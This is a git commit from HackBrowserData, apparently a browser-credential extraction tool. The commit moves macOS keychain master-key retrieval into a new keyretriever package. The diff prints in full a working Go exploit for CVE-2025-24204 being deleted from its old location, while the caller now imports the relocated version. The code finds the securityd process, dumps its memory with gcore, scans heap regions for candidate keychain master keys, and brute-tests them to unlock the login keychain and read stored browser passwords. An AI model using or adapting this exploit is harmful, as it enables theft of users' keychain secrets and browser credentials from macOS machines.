feat: add crypto/keyretriever with keychainbreaker integration (#518)

* feat: add crypto/keyretriever package for Chromium master key retrieval

* feat: complete keyretriever with gcoredump, chainbreaker, and tests

* refactor: replace internal chainbreaker with keychainbreaker v0.1.0

Replace the incomplete internal chainbreaker implementation (~1400 lines
of duplicated code) with the external keychainbreaker package, which
provides a complete, well-tested keychain parsing library.

Changes:
- Add github.com/moond4rk/keychainbreaker v0.1.0 dependency
- Update gcoredump_darwin.go to use keychainbreaker API (Open/Unlock/GenericPasswords)
- Add KeychainPasswordRetriever for password-based keychain unlocking
  with sync.Once caching across multiple browser queries
- Unify DefaultRetriever(keychainPassword string) signature across all platforms
- Delete utils/chainbreaker/ (696 lines + test + testdata)
- Delete crypto/keyretriever/chainbreaker_darwin.go (696 lines duplicate)
- Delete browser/exploit/gcoredump/ (duplicate of keyretriever version)
- Update chromium_darwin.go to use keyretriever.DecryptKeychain
- Clean up .golangci.yml lint exceptions and .gitignore entries
- Use errors.Is() instead of == for context.DeadlineExceeded check

* refactor: improve gcoredump exploit code quality and add comments
* fix: address Copilot review feedback on keyretriever
This commit is contained in:
Roger
2026-03-28 21:13:10 +08:00
committed by moonD4rk
parent 12436217ae
commit 9fb5165fcb
16 changed files with 654 additions and 965 deletions
+2 -2
View File
@@ -11,8 +11,8 @@ import (
"os/exec"
"strings"
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
@@ -27,7 +27,7 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
defer os.Remove(types.ChromiumKey.TempFilename())
// Try get the master key via gcoredump(CVE-2025-24204)
secret, err := gcoredump.DecryptKeychain(c.storage)
secret, err := keyretriever.DecryptKeychain(c.storage)
if err == nil && secret != "" {
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
if key, err := c.parseSecret([]byte(secret)); err == nil {
-227
View File
@@ -1,227 +0,0 @@
//go:build darwin
package gcoredump
// CVE-2025-24204
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// https://support.apple.com/en-us/122373
import (
"debug/macho"
"encoding/binary"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
"unsafe"
"golang.org/x/sys/unix"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
)
var (
homeDir, _ = os.UserHomeDir()
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)
func GetMacOSVersion() string {
v, err := unix.Sysctl("kern.osproductversion")
if err == nil {
return v
}
return ""
}
func FindProcessByName(name string, forceRoot bool) (int, error) {
buf, err := unix.SysctlRaw("kern.proc.all")
if err != nil {
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
}
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
if len(buf)%kinfoSize != 0 {
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
}
count := len(buf) / kinfoSize
for i := 0; i < count; i++ {
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
pname := byteSliceToString(proc.Proc.P_comm[:])
if pname == name {
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
// If P_ppid is missing, we can rely on P_ruid.
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
return int(proc.Proc.P_pid), nil
}
}
}
return 0, fmt.Errorf("securityd process not found")
}
type addressRange struct {
start uint64
end uint64
}
func DecryptKeychain(storagename string) (string, error) {
if os.Geteuid() != 0 {
return "", errors.New("requires root privileges")
}
// find securityd PID
pid, err := FindProcessByName("securityd", true)
if err != nil {
return "", fmt.Errorf("failed to find securityd pid: %w", err)
}
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
defer os.Remove(corePath)
// dump securityd memory:
// gcore -d -s -v -o core_path PID
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
}
// find MALLOC_SMALL regions
regions, err := findMallocSmallRegions(pid)
if err != nil {
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
}
// open core dump
cmf, err := macho.Open(corePath)
if err != nil {
return "", fmt.Errorf("failed to open core dump: %w", err)
}
defer cmf.Close()
// scan regions
var candidates []string
seen := make(map[string]struct{})
for _, region := range regions {
// read region data
data, vaddr, err := getMallocSmallRegionData(cmf, region)
if err != nil {
// Region might not be in core dump or other error, skip
continue
}
// Search for pattern
// 0x18 (8 bytes) followed by pointer (8 bytes)
for i := 0; i < len(data)-16; i += 8 {
val := binary.LittleEndian.Uint64(data[i : i+8])
if val == 0x18 {
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
if ptr >= region.start && ptr <= region.end {
offset := ptr - vaddr
if offset+0x18 <= uint64(len(data)) {
masterKey := make([]byte, 0x18)
copy(masterKey, data[offset:offset+0x18])
keyStr := fmt.Sprintf("%x", masterKey)
if _, found := seen[keyStr]; !found {
candidates = append(candidates, keyStr)
seen[keyStr] = struct{}{}
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
}
}
}
}
}
}
// fuzz master key candidates
for _, candidate := range candidates {
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
records, err := kc.DumpGenericPasswords()
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
for _, rec := range records {
if rec.Account == storagename {
// TODO decode base64 password
if rec.PasswordBase64 {
}
return rec.Password, nil
}
}
}
return "", nil
}
func findMallocSmallRegions(pid int) ([]addressRange, error) {
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
output, err := cmd.Output()
if err != nil {
return nil, err
}
var regions []addressRange
lines := strings.Split(string(output), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "MALLOC_SMALL") {
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
rangeStr := parts[1]
rangeParts := strings.Split(rangeStr, "-")
if len(rangeParts) != 2 {
continue
}
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
if err != nil {
continue
}
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
if err != nil {
continue
}
regions = append(regions, addressRange{start: start, end: end})
}
}
return regions, nil
}
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok {
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
data := make([]byte, s.Filesz)
_, err := s.ReadAt(data, 0)
if err != nil {
return nil, 0, err
}
return data, s.Addr, nil
}
}
}
return nil, 0, fmt.Errorf("region not found in core dump")
}
func byteSliceToString(s []byte) string {
for i, v := range s {
if v == 0 {
return string(s[:i])
}
}
return string(s)
}